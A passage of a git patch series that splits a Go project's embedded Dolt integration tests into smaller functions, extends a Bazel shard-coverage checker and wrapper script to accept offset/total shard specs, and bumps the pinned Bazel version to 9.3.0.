BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "ts") // ===== --as-of ===== diff --git a/cmd/bd/swarm_embedded_test.go b/cmd/bd/swarm_embedded_test.go index 69379614a..38b812af7 100644 --- a/cmd/bd/swarm_embedded_test.go +++ b/cmd/bd/swarm_embedded_test.go @@ -104,14 +104,22 @@ func createSwarmableEpic(t *testing.T, bd, dir, prefix string) (epicID string, c return epicID, childIDs } -func TestEmbeddedSwarm(t *testing.T) { +// setupEmbeddedSwarm is the TestEmbeddedSwarm* tests' workspace (prefix sw). +func setupEmbeddedSwarm(t *testing.T) (string, string) { + t.Helper() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "sw") + return bd, dir +} + +func TestEmbeddedSwarmValidate(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() - bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "sw") + bd, dir := setupEmbeddedSwarm(t) epicID, _ := createSwarmableEpic(t, bd, dir, "Swarm") @@ -149,6 +157,15 @@ func TestEmbeddedSwarm(t *testing.T) { t.Errorf("expected warning about no children: %s", out) } }) +} + +func TestEmbeddedSwarmCreate(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedSwarm(t) // ===== swarm create ===== @@ -176,6 +193,15 @@ func TestEmbeddedSwarm(t *testing.T) { t.Errorf("expected coordinator=alice, got %v", m["coordinator"]) } }) +} + +func TestEmbeddedSwarmCreateForceAndErrors(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedSwarm(t) t.Run("create_force", func(t *testing.T) { eID, _ := createSwarmableEpic(t, bd, dir, "Force") @@ -202,6 +228,15 @@ func TestEmbeddedSwarm(t *testing.T) { bdSwarm(t, bd, dir, "create", eID) bdSwarmFail(t, bd, dir, "create", eID) }) +} + +func TestEmbeddedSwarmStatusList(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedSwarm(t) // ===== swarm status ===== diff --git a/cmd/bd/unclaim_embedded_test.go b/cmd/bd/unclaim_embedded_test.go index b5535fcd2..d969e6a4f 100644 --- a/cmd/bd/unclaim_embedded_test.go +++ b/cmd/bd/unclaim_embedded_test.go @@ -38,7 +38,7 @@ func bdUnclaimFail(t *testing.T, bd, dir string, args ...string) string { return string(out) } -func TestEmbeddedUnclaim(t *testing.T) { +func TestEmbeddedUnclaimSuccess(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -122,6 +122,16 @@ func TestEmbeddedUnclaim(t *testing.T) { t.Errorf("expected status open after unclaim, got %q", unclaimed[0].Status) } }) +} + +func TestEmbeddedUnclaimBatchAndRefusals(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tu") // ===== Multiple IDs ===== diff --git a/cmd/bd/update_embedded_test.go b/cmd/bd/update_embedded_test.go index 1b1841576..f71511b17 100644 --- a/cmd/bd/update_embedded_test.go +++ b/cmd/bd/update_embedded_test.go @@ -243,12 +243,14 @@ func TestEmbeddedUpdateRoutedStoreCommitsTargetHead(t *testing.T) { } } -// TestEmbeddedUpdateFields and TestEmbeddedUpdateLifecycle were split from -// TestEmbeddedUpdate (originally ~267s, measured under --config=embedded) -// into 2 top-level tests over disjoint subtest groups, for CI shard balance -// (see scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedUpdateFields(t *testing.T) { +// The TestEmbeddedUpdateFields* and TestEmbeddedUpdateLifecycle* tests were +// split from TestEmbeddedUpdate (originally ~267s, measured under +// --config=embedded), first into TestEmbeddedUpdateFields and +// TestEmbeddedUpdateLifecycle and then (~75s each on rbe-west) into these 5 +// top-level tests over disjoint subtest groups, each with its own workspace, +// for CI shard balance (see scripts/ci/embedded_cmd_test_durations.json and +// engdocs/TESTING.md). Every original subtest is preserved exactly once. +func TestEmbeddedUpdateFieldsMappingAndRefs(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -406,6 +408,16 @@ func TestEmbeddedUpdateFields(t *testing.T) { t.Errorf("expected external_ref field to be omitted from JSON after clear, got: %s", rawA) } }) +} + +func TestEmbeddedUpdateFieldsNotesOverwrite(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tu") t.Run("update_notes_overwrite_requires_force", func(t *testing.T) { issue := bdCreate(t, bd, dir, "Notes force test", "--type", "task") @@ -466,6 +478,16 @@ func TestEmbeddedUpdateFields(t *testing.T) { t.Errorf("expected notes %q, got %q", "replacement notes", got.Notes) } }) +} + +func TestEmbeddedUpdateFieldsNotesClearAndDefer(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tu") t.Run("update_empty_notes_refused", func(t *testing.T) { // GH#6021: `--notes ""` is what a dead command substitution collapses @@ -534,7 +556,7 @@ func TestEmbeddedUpdateFields(t *testing.T) { }) } -func TestEmbeddedUpdateLifecycle(t *testing.T) { +func TestEmbeddedUpdateLifecycleDefer(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -624,6 +646,16 @@ func TestEmbeddedUpdateLifecycle(t *testing.T) { t.Errorf("expected status=in_progress to be preserved, got %q", got.Status) } }) +} + +func TestEmbeddedUpdateLifecycleClaimParentCommit(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tu") t.Run("update_claim_already_claimed", func(t *testing.T) { issue := bdCreate(t, bd, dir, "Claim fail test", "--type", "task") diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 68b9aeee6..d6e4e1c61 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1037,9 +1037,11 @@ Required` requires them to have run remotely and passed. - The `args` and `env` of every target tagged `embedded`, `dolt-server-proxied` or `dolt-server-integration` are pinned. - `tools/bazel/check_shard_coverage.py` runs after each tier. It requires: - - every Bazel shard of `//cmd/bd:bd_embedded_test` (50; the manifest's - frozen 20-shard block was the retired `test-embedded-cmd` jobs' split, - F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; + - every Bazel shard of `//cmd/bd:bd_embedded_test` and + `//cmd/bd:bd_embedded_part2_test` (50 each: shards 1-50 and 51-100 of + the manifest's 100-shard block, which their ranges must tile exactly + once; the manifest's frozen 20-shard block was the retired + `test-embedded-cmd` jobs' split, F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; the frozen 5-shard block was `test-embedded-storage`'s, F1), `//cmd/bd:bd_proxied_test` (34; the frozen 15-shard block was `test-proxied-cmd`'s, F2) and diff --git a/scripts/ci/embedded_cmd_test_durations.json b/scripts/ci/embedded_cmd_test_durations.json index e5fcfe221..aed2d56d1 100644 --- a/scripts/ci/embedded_cmd_test_durations.json +++ b/scripts/ci/embedded_cmd_test_durations.json @@ -1,19 +1,16 @@ { "_comment": [ "Measured on rbe-west, the lane's own remote executors (instance oss), on", - "2026-10-09: two `bazel test --config=embedded --nocache_test_results", - "//cmd/bd:bd_embedded_test` runs (race, `-test.parallel=4`, 50 shards), so", - "every top-level TestEmbedded* function ran exactly once per run. Each value", - "is the mean of the two runs (the two split", - "TestEmbeddedInitSelectedExcludeRouting{Stealth,Fork} functions ran only in", - "the second). The runs were taken after bdInit started seeding each", - "workspace's embedded database from a per-process schema template", - "(cmd/bd/embedded_init_template_test.go) and the bd subprocesses stopped", - "sleeping 1s at exit (GORACE=atexit_sleep_ms=0 on the target): the sum of", - "test-seconds fell from ~20.2k to ~10.3k on the same executors. Individual", - "tests varied up to ~2x between the two runs with executor load; the sum", - "moved ~4%. The previous capture was local sandboxed execution and", - "correlated only ~0.4 with rbe-west shard times.", + "2026-10-09: one `bazel test --config=embedded --nocache_test_results", + "//cmd/bd:bd_embedded_test //cmd/bd:bd_embedded_part2_test` run (race,", + "`-test.parallel=4`, the 100-shard block split 50+50 over the two targets),", + "so every top-level TestEmbedded* function ran exactly once. It was taken", + "after the slowest functions were split into smaller top-level functions", + "(subtests moved verbatim): the sum of test-seconds fell from ~10.3k", + "(50 shards, the previous capture) to ~8.1k, partly because each shard now", + "runs fewer tests at once. The remaining >60s functions are the *Concurrent", + "stress tests, whose bd subprocesses queue on the workspace's single writer", + "lock, and fixtures that seed many issues one `bd create` at a time.", "", "Each value is that top-level test's own from Bazel's", "generated test.xml, NOT the enclosing : 0 && p.total != parts[0].total) { + t.Fatalf("cmd/bd:%s runs shards %d..%d of %d; want it to start at shard %d of the same block as %v", name, p.offset+1, p.offset+p.shards, p.total, next+1, parts) + } + next += p.shards + parts = append(parts, p) + } + if next != parts[0].total { + t.Fatalf("%v run %d shards of a %d-shard block; their shard_counts must sum to --shard-total", parts, next, parts[0].total) + } + return parts +} + +// bazelEmbeddedCmdShardCount returns the shard total of the bazel-embedded +// lane's cmd/bd manifest block, which embeddedCmdTargets split between them +// (bazelEmbeddedCmdParts): the single source of truth for the Bazel-only +// lane's cmd/bd shard split (slice F1), which no longer has to equal PR +// Risk's/main.yml's legacy "Test (Embedded Dolt Cmd N/20)" fork/push jobs' +// matrix size — mirrors bazelProxiedShardCount (F2; see that function's doc +// comment below for the shared rationale, not repeated here). func bazelEmbeddedCmdShardCount(t *testing.T) int { t.Helper() - root := sourceRepoRoot(t) - rule := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_embedded_test") - m := shardCountPattern.FindStringSubmatch(rule) - if m == nil { - t.Fatalf("cmd/bd:bd_embedded_test has no `shard_count = N,` in cmd/bd/BUILD.bazel:\n%s", rule) - } - n, err := strconv.Atoi(m[1]) - if err != nil { - t.Fatalf("cmd/bd:bd_embedded_test shard_count: %v", err) - } - return n + return bazelEmbeddedCmdParts(t)[0].total } // bazelEmbeddedStorageShardCount returns diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 52ff1b463..d1e800aec 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -322,7 +322,6 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { // the shared rationale. liveShardCount := map[string]func(*testing.T) int{ "//cmd/bd:bd_proxied_test": bazelProxiedShardCount, - "//cmd/bd:bd_embedded_test": bazelEmbeddedCmdShardCount, "//internal/storage/embeddeddolt:embeddeddolt_embedded_test": bazelEmbeddedStorageShardCount, "//internal/storage/dolt:dolt_server_full_test": bazelServerFullShardCount, } @@ -342,7 +341,8 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { // check_shard_coverage.py arguments, not independently // hard-coded literals that could drift from BUILD.bazel // unnoticed (S1). - {"test-embedded-cmd", "Test", "//cmd/bd:bd_embedded_test", ".github/scripts/embedded-test-shard.sh", -1}, + // The cmd/bd block is split over embeddedCmdTargets: one + // --suite each, SHARDS@OFFSET/TOTAL (added below). {"test-embedded-storage", "Test", "//internal/storage/embeddeddolt:embeddeddolt_embedded_test", ".github/scripts/embedded-storage-test-shard.sh", -1}, }, []string{"//internal/storage/embeddeddolt:embeddeddolt_conformance_core_test", "//internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test"}}, {bazelProxiedJobName, "doltserver-proxied", []suite{ @@ -365,6 +365,11 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { job := readCIWorkflow(t, bazelWorkflowName).job(t, c.lane) step := job.step(t, "Every listed test ran in its shard") want := []string{"python3 tools/bazel/check_shard_coverage.py", `--bep "$RUNNER_TEMP/bazel-bep.json"`} + if c.lane == bazelEmbedJobName { + for _, p := range bazelEmbeddedCmdParts(t) { + want = append(want, fmt.Sprintf("--suite %s %s %s", p.label, ".github/scripts/embedded-test-shard.sh", p.spec())) + } + } for _, s := range c.suites { shards := s.shardCount if shards < 0 { @@ -531,6 +536,51 @@ esac t.Errorf("--whole %v: pass = %v, want %v (mention %q):\n%s", c.names, err == nil, c.pass, c.mention, out) } } + // A 2-shard block split over two 1-shard targets (SHARDS@OFFSET/TOTAL): + // //pkg:p's shard 1 is the script's shard 1, //pkg:q's shard 1 its shard + // 2. The targets must tile the block exactly once. + splitLogs := filepath.Join(dir, "split") + for target, names := range map[string][]string{"p": {"TestA", "TestB"}, "q": {"TestC"}} { + d := filepath.Join(splitLogs, "pkg", target) + if err := os.MkdirAll(d, 0o755); err != nil { + t.Fatal(err) + } + xml := `` + for _, n := range names { + xml += `` + } + if err := os.WriteFile(filepath.Join(d, "test.xml"), []byte(xml+``), 0o644); err != nil { + t.Fatal(err) + } + } + splitBEP := filepath.Join(dir, "split.json") + if err := os.WriteFile(splitBEP, []byte(`{"id":{"targetConfigured":{"label":"//pkg:p"}},"configured":{"targetKind":"sh_test rule"}} +{"id":{"testResult":{"label":"//pkg:p","run":1,"attempt":1}}} +{"id":{"targetConfigured":{"label":"//pkg:q"}},"configured":{"targetKind":"sh_test rule"}} +{"id":{"testResult":{"label":"//pkg:q","run":1,"attempt":1}}} +`), 0o644); err != nil { + t.Fatal(err) + } + for _, c := range []struct { + name string + suites []string + pass bool + mention string + }{ + {"split exact", []string{"//pkg:p", "1@0/2", "//pkg:q", "1@1/2"}, true, ""}, + {"split shard run twice", []string{"//pkg:p", "1@0/2", "//pkg:q", "1@0/2"}, false, "run by more than one target"}, + {"split shard run by no target", []string{"//pkg:p", "1@0/2"}, false, "no target runs shard(s) [2]"}, + {"split range past the total", []string{"//pkg:p", "1@0/2", "//pkg:q", "1@2/2"}, false, "exceed"}, + } { + args := []string{script, "--bep", splitBEP, "--testlogs", splitLogs} + for i := 0; i < len(c.suites); i += 2 { + args = append(args, "--suite", c.suites[i], shard, c.suites[i+1]) + } + out, err := exec.Command(python, args...).CombinedOutput() + if (err == nil) != c.pass || (c.mention != "" && !strings.Contains(string(out), c.mention)) { + t.Errorf("%s: pass = %v, want %v (mention %q):\n%s", c.name, err == nil, c.pass, c.mention, out) + } + } if out, err := exec.Command(python, script, "--bep", writeBEP(2), "--testlogs", filepath.Join(dir, "logs0"), "--suite", label, shard, "2", "--whole", "//pkg:absent").CombinedOutput(); err == nil { t.Errorf("--whole for a target the BEP lacks passed:\n%s", out) } @@ -803,15 +853,20 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { args []string env map[string]string } + embeddedCmdEnv := map[string]string{ + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + // bdInit's schema template and the race runtime's exit sleep: + // neither selects or skips a test. + "BEADS_TEST_EMBEDDED_SCHEMA_TOOL": "$(rlocationpath //internal/storage/embeddeddolt/cmd:cmd_norace)", "GORACE": "atexit_sleep_ms=0", + } want := map[string]target{ "//cmd/bd:bd_embedded_test": { - []string{"$(rootpath //:.github/scripts/embedded-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)", "-test.timeout=19m"}, - map[string]string{ - "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", - // bdInit's schema template and the race runtime's exit sleep: - // neither selects or skips a test. - "BEADS_TEST_EMBEDDED_SCHEMA_TOOL": "$(rlocationpath //internal/storage/embeddeddolt/cmd:cmd_norace)", "GORACE": "atexit_sleep_ms=0", - }, + []string{"--shard-offset=0", "--shard-total=100", "$(rootpath //:.github/scripts/embedded-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)", "-test.timeout=19m"}, + embeddedCmdEnv, + }, + "//cmd/bd:bd_embedded_part2_test": { + []string{"--shard-offset=50", "--shard-total=100", "$(rootpath //:.github/scripts/embedded-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)", "-test.timeout=19m"}, + embeddedCmdEnv, }, "//internal/storage/embeddeddolt:embeddeddolt_embedded_test": { []string{"$(rootpath //:.github/scripts/embedded-storage-test-shard.sh)", "BEADS_TEST_EMBEDDED_TEST_BINARY", "$(rootpath :embeddeddolt_test)", "-test.timeout=19m"}, diff --git a/tools/bazel/check_shard_coverage.py b/tools/bazel/check_shard_coverage.py index 0e574d348..c088c6e9a 100755 --- a/tools/bazel/check_shard_coverage.py +++ b/tools/bazel/check_shard_coverage.py @@ -2,7 +2,7 @@ """Fail unless every Bazel shard ran exactly the tests its shard script lists. Usage: check_shard_coverage.py --bep [--testlogs DIR] - --suite LABEL SCRIPT SHARDS [--suite ...] + --suite LABEL SCRIPT SHARDS[@OFFSET/TOTAL] [--suite ...] [--whole LABEL ...] The manifest-sharded targets (//cmd/bd:bd_embedded_test runs @@ -24,6 +24,13 @@ BEADS_TEST_SKIP or a lost BEADS_TEST_EMBEDDED_DOLT=1 turns the tier into t.Skip calls, which still list every test. It needs test.xml locally and -test.v in it, as --config=embedded sets. +A manifest block bigger than Bazel's 50-shard cap per rule runs as several +targets (tools/bazel/go_test_manifest_shard.sh --shard-offset/--shard-total): +SHARDS@OFFSET/TOTAL says Bazel shard k of LABEL is the script's shard +OFFSET+k of TOTAL. The suites sharing a SCRIPT and TOTAL must cover shards +1..TOTAL exactly once between them, so (the script assigning each test to +one shard of TOTAL) every test runs in exactly one shard of one target. + Exit status: 0 if every shard matches, 1 otherwise. """ @@ -39,6 +46,7 @@ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from equivalence import read_bep, testlog_xmls # noqa: E402 LISTED = re.compile(r"^ (Test[A-Za-z0-9_]*)$") +SHARD_SPEC = re.compile(r"^(\d+)(?:@(\d+)/(\d+))?$") # Names the shard scripts' `grep '^func Test'` discovery lists that go test # never runs as a test: TestMain(m *testing.M) is the package's test entry @@ -79,10 +87,36 @@ def all_skipped_problem(where, got, skipped): return None +def tiling_problems(suites): + """Problems with suites of (label, script, shards, offset, total) that + split one SCRIPT's TOTAL-shard block over several targets: together they + must cover shards 1..TOTAL exactly once.""" + problems = [] + parts = {} + for label, script, shards, offset, total in suites: + if offset + shards > total: + problems.append(f"{label}: shards {offset + 1}..{offset + shards} exceed {script}'s total {total}") + parts.setdefault((script, total), []).append((offset, shards, label)) + for (script, total), ranges in sorted(parts.items()): + covered = {} + for offset, shards, label in ranges: + for k in range(offset + 1, offset + shards + 1): + covered.setdefault(k, []).append(label) + missing = [k for k in range(1, total + 1) if k not in covered] + twice = sorted(k for k, labels in covered.items() if len(labels) > 1) + if missing: + problems.append(f"{script} {total}: no target runs shard(s) {missing}") + if twice: + problems.append(f"{script} {total}: shard(s) {twice} run by more than one target") + return problems + + def check(tested, testlogs, suites, lister=listed_tests, whole=()): """Return ([summary lines], [problems]) for suites of (label, script, shards) - and whole (unsharded or sharded) labels that must not be all-skipped.""" - lines, problems = [], [] + or (label, script, shards, offset, total), and whole (unsharded or + sharded) labels that must not be all-skipped.""" + suites = [s if len(s) == 5 else (*s, 0, s[2]) for s in suites] + lines, problems = [], tiling_problems(suites) for label in whole: if label not in tested: problems.append(f"{label}: --whole, but the BEP has no result for it") @@ -103,7 +137,7 @@ def check(tested, testlogs, suites, lister=listed_tests, whole=()): if p: problems.append(p) lines.append(f"{label}: not all skipped") - for label, script, shards in suites: + for label, script, shards, offset, total_shards in suites: if tested.get(label) != shards: problems.append(f"{label}: the BEP has {tested.get(label, 0)} shard(s), want {shards} ({script})") continue @@ -111,12 +145,12 @@ def check(tested, testlogs, suites, lister=listed_tests, whole=()): # The scripts' hash fallback forks per test (seconds per shard for # the server suite's ~1200 tests): list the shards concurrently. with concurrent.futures.ThreadPoolExecutor(max_workers=min(8, os.cpu_count() or 2)) as pool: - listings = [pool.submit(lister, script, k, shards) for k in range(1, shards + 1)] + listings = [pool.submit(lister, script, offset + k, total_shards) for k in range(1, shards + 1)] for k, xml_path in enumerate(testlog_xmls(testlogs, label, shards), start=1): try: want = listings[k - 1].result() except (OSError, subprocess.CalledProcessError) as e: - problems.append(f"{label}: {script} {k} {shards} failed: {e}") + problems.append(f"{label}: {script} {offset + k} {total_shards} failed: {e}") continue rel = os.path.relpath(xml_path, testlogs) if not os.path.exists(xml_path): @@ -136,7 +170,8 @@ def check(tested, testlogs, suites, lister=listed_tests, whole=()): f"(not in the target's srcs?)") for name in sorted(got - want): problems.append(f"{label} shard {k}/{shards}: {name} ran but {script} does not list it there") - lines.append(f"{label}: {shards} shards, {total} listed tests") + span = "" if (offset, total_shards) == (0, shards) else f" (script shards {offset + 1}..{offset + shards} of {total_shards})" + lines.append(f"{label}: {shards} shards{span}, {total} listed tests") return lines, problems @@ -145,16 +180,21 @@ def main(argv=None): ap.add_argument("--bep", required=True, help="--build_event_json_file of the bazel test run") ap.add_argument("--testlogs", default=None, help="default: from the BEP, else ./bazel-testlogs") ap.add_argument("--suite", nargs=3, action="append", required=True, metavar=("LABEL", "SCRIPT", "SHARDS"), - help="a manifest-sharded target, its shard script and shard count (repeatable)") + help="a manifest-sharded target, its shard script and shard count, as N or " + "N@OFFSET/TOTAL for one of several targets splitting a TOTAL-shard block (repeatable)") ap.add_argument("--whole", action="append", default=[], metavar="LABEL", help="a target none of whose test.xml may be all skipped (repeatable)") args = ap.parse_args(argv) suites = [] - for label, script, shards in args.suite: - if not shards.isdigit() or int(shards) < 1: - ap.error(f"--suite {label}: SHARDS must be a positive integer, got {shards!r}") - suites.append((label, script, int(shards))) + for label, script, spec in args.suite: + m = SHARD_SPEC.match(spec) + if not m or int(m.group(1)) < 1: + ap.error(f"--suite {label}: SHARDS must be N or N@OFFSET/TOTAL with N >= 1, got {spec!r}") + shards = int(m.group(1)) + offset = int(m.group(2)) if m.group(2) else 0 + total = int(m.group(3)) if m.group(3) else shards + suites.append((label, script, shards, offset, total)) tested, _, bep_testlogs = read_bep(args.bep) testlogs = args.testlogs or bep_testlogs or "bazel-testlogs" lines, problems = check(tested, testlogs, suites, whole=args.whole) diff --git a/tools/bazel/go_test_manifest_shard.sh b/tools/bazel/go_test_manifest_shard.sh index 473e53bf3..ed6f7cdc4 100755 --- a/tools/bazel/go_test_manifest_shard.sh +++ b/tools/bazel/go_test_manifest_shard.sh @@ -8,8 +8,8 @@ # go_test_variant.sh it reuses the go_test's binary instead of compiling the # package again. # -# Usage: go_test_manifest_shard.sh -# [binary args...] +# Usage: go_test_manifest_shard.sh [--shard-offset=N --shard-total=M] +# [binary args...] # , : runfiles paths ($(rootpath ...)), relative to # the workspace runfiles directory, which is the test's working directory # and where the script's source globs (cmd/bd/*_embedded_test.go, ...) @@ -22,11 +22,29 @@ # binary flags. # # Bazel's shard k of n (shard_count must equal the manifest's shard total) -# becomes the script's shard k+1 of n. The binary itself must not shard again, +# becomes the script's shard k+1 of n. A manifest block larger than Bazel's +# 50-shard cap per rule is split over several targets: with --shard-offset=N +# --shard-total=M, shard k of n becomes the script's shard N+k+1 of M, so +# targets with offsets 0, n1, n1+n2, ... and shard counts summing to M run +# every shard of the block exactly once (check_shard_coverage.py checks +# that the targets' ranges tile 1..M). The binary itself must not shard again, # so TEST_TOTAL_SHARDS/TEST_SHARD_INDEX are removed after this wrapper tells # Bazel it supports sharding. The go_test's own `env` is not inherited (see # go_test_variant.sh); the target repeats it. set -euo pipefail +offset=0 +part_total="" +while [[ "${1:-}" == --shard-* ]]; do + case "$1" in + --shard-offset=*) offset="${1#*=}" ;; + --shard-total=*) part_total="${1#*=}" ;; + *) + echo "go_test_manifest_shard.sh: unknown flag $1" >&2 + exit 2 + ;; + esac + shift +done script="$1" bin_var="$2" bin="$3" @@ -34,6 +52,17 @@ shift 3 total="${TEST_TOTAL_SHARDS:-1}" index="${TEST_SHARD_INDEX:-0}" +if [[ -n "$part_total" ]]; then + if ! [[ "$offset" =~ ^[0-9]+$ && "$part_total" =~ ^[0-9]+$ ]] || ((offset + total > part_total)); then + echo "go_test_manifest_shard.sh: --shard-offset=$offset with $total shards exceeds --shard-total=$part_total" >&2 + exit 2 + fi + index=$((offset + index)) + total="$part_total" +elif ((offset != 0)); then + echo "go_test_manifest_shard.sh: --shard-offset needs --shard-total" >&2 + exit 2 +fi if [[ -n "${TEST_SHARD_STATUS_FILE:-}" ]]; then touch "$TEST_SHARD_STATUS_FILE" fi From 66075be43ad2631800179ca427f0a8aa0d58eb37 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 21:03:41 +0000 Subject: [PATCH 084/213] ci(bazel): Bazel 9.3.0 (prerequisite for the remote repo contents cache) (#7439) .bazelversion 9.2.0 -> 9.3.0. setup-bazel pins the 9.3.0 release sha256s (bazel-9.3.0-linux-{x86_64,arm64}.sha256) next to 9.2.0's, so the composite stays a valid byte copy for gascity until it bumps too. MODULE.bazel.lock refreshed: 9.3.0's bundled module graph resolves apple_support 2.5.2 and rules_cc 0.2.15 and changes four extension bzlTransitiveDigests. 9.3.0 fixes bazel#30905 (the remote repo contents cache overlay serialized getInputStream), the hard prerequisite for ga-vnycm2.25. Refs ga-vnycm2.23 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelversion | 2 +- .github/actions/setup-bazel/action.yml | 2 ++ MODULE.bazel.lock | 14 +++++++------- 3 files changed, 10 insertions(+), 8 deletions(-) diff --git a/.bazelversion b/.bazelversion index deeb3d66e..b13d146a7 100644 --- a/.bazelversion +++ b/.bazelversion @@ -1 +1 @@ -9.2.0 +9.3.0 diff --git a/.github/actions/setup-bazel/action.yml b/.github/actions/setup-bazel/action.yml index 8bb03ddd1..466316720 100644 --- a/.github/actions/setup-bazel/action.yml +++ b/.github/actions/setup-bazel/action.yml @@ -76,6 +76,8 @@ runs: case "$bazel_version/$arch" in 9.2.0/amd64) bazel_sha=7668a95db1250f12c40407251e4e203b4ec8bf39bc495d2f485b2d8c99048694 ;; 9.2.0/arm64) bazel_sha=049dd21f40ad979db11c3ee68c96a42ce75f1185e69ac61ab20de1501427a410 ;; + 9.3.0/amd64) bazel_sha=d302d22ed77ee5658b87857249baa579db84300ecebe0a1e9a357b5b20f80eb8 ;; + 9.3.0/arm64) bazel_sha=615cc2509819047e4930fe6643c5f01ebd705ccadf75e8f0b85f9b83cc6a6ca0 ;; *) echo "setup-bazel: no pinned sha256 for Bazel '$bazel_version' ($arch); add it from the release's .sha256 file" >&2; exit 1 ;; esac { diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock index 275b6bfd9..82bd1b0bc 100644 --- a/MODULE.bazel.lock +++ b/MODULE.bazel.lock @@ -18,8 +18,8 @@ "https://bcr.bazel.build/modules/apple_support/1.15.1/MODULE.bazel": "a0556fefca0b1bb2de8567b8827518f94db6a6e7e7d632b4c48dc5f865bc7c85", "https://bcr.bazel.build/modules/apple_support/1.21.0/MODULE.bazel": "ac1824ed5edf17dee2fdd4927ada30c9f8c3b520be1b5fd02a5da15bc10bff3e", "https://bcr.bazel.build/modules/apple_support/1.21.1/MODULE.bazel": "5809fa3efab15d1f3c3c635af6974044bac8a4919c62238cce06acee8a8c11f1", - "https://bcr.bazel.build/modules/apple_support/1.24.2/MODULE.bazel": "0e62471818affb9f0b26f128831d5c40b074d32e6dda5a0d3852847215a41ca4", - "https://bcr.bazel.build/modules/apple_support/1.24.2/source.json": "2c22c9827093250406c5568da6c54e6fdf0ef06238def3d99c71b12feb057a8d", + "https://bcr.bazel.build/modules/apple_support/2.5.2/MODULE.bazel": "bb1b7081e390a8d3885f642cb0073dfcf8e7a36525e079fa8f5835af7079c0fe", + "https://bcr.bazel.build/modules/apple_support/2.5.2/source.json": "dd51ee925a550e92b55eb41c4c809a967da311a2d2520241252a238a48b39c4c", "https://bcr.bazel.build/modules/aspect_bazel_lib/2.14.0/MODULE.bazel": 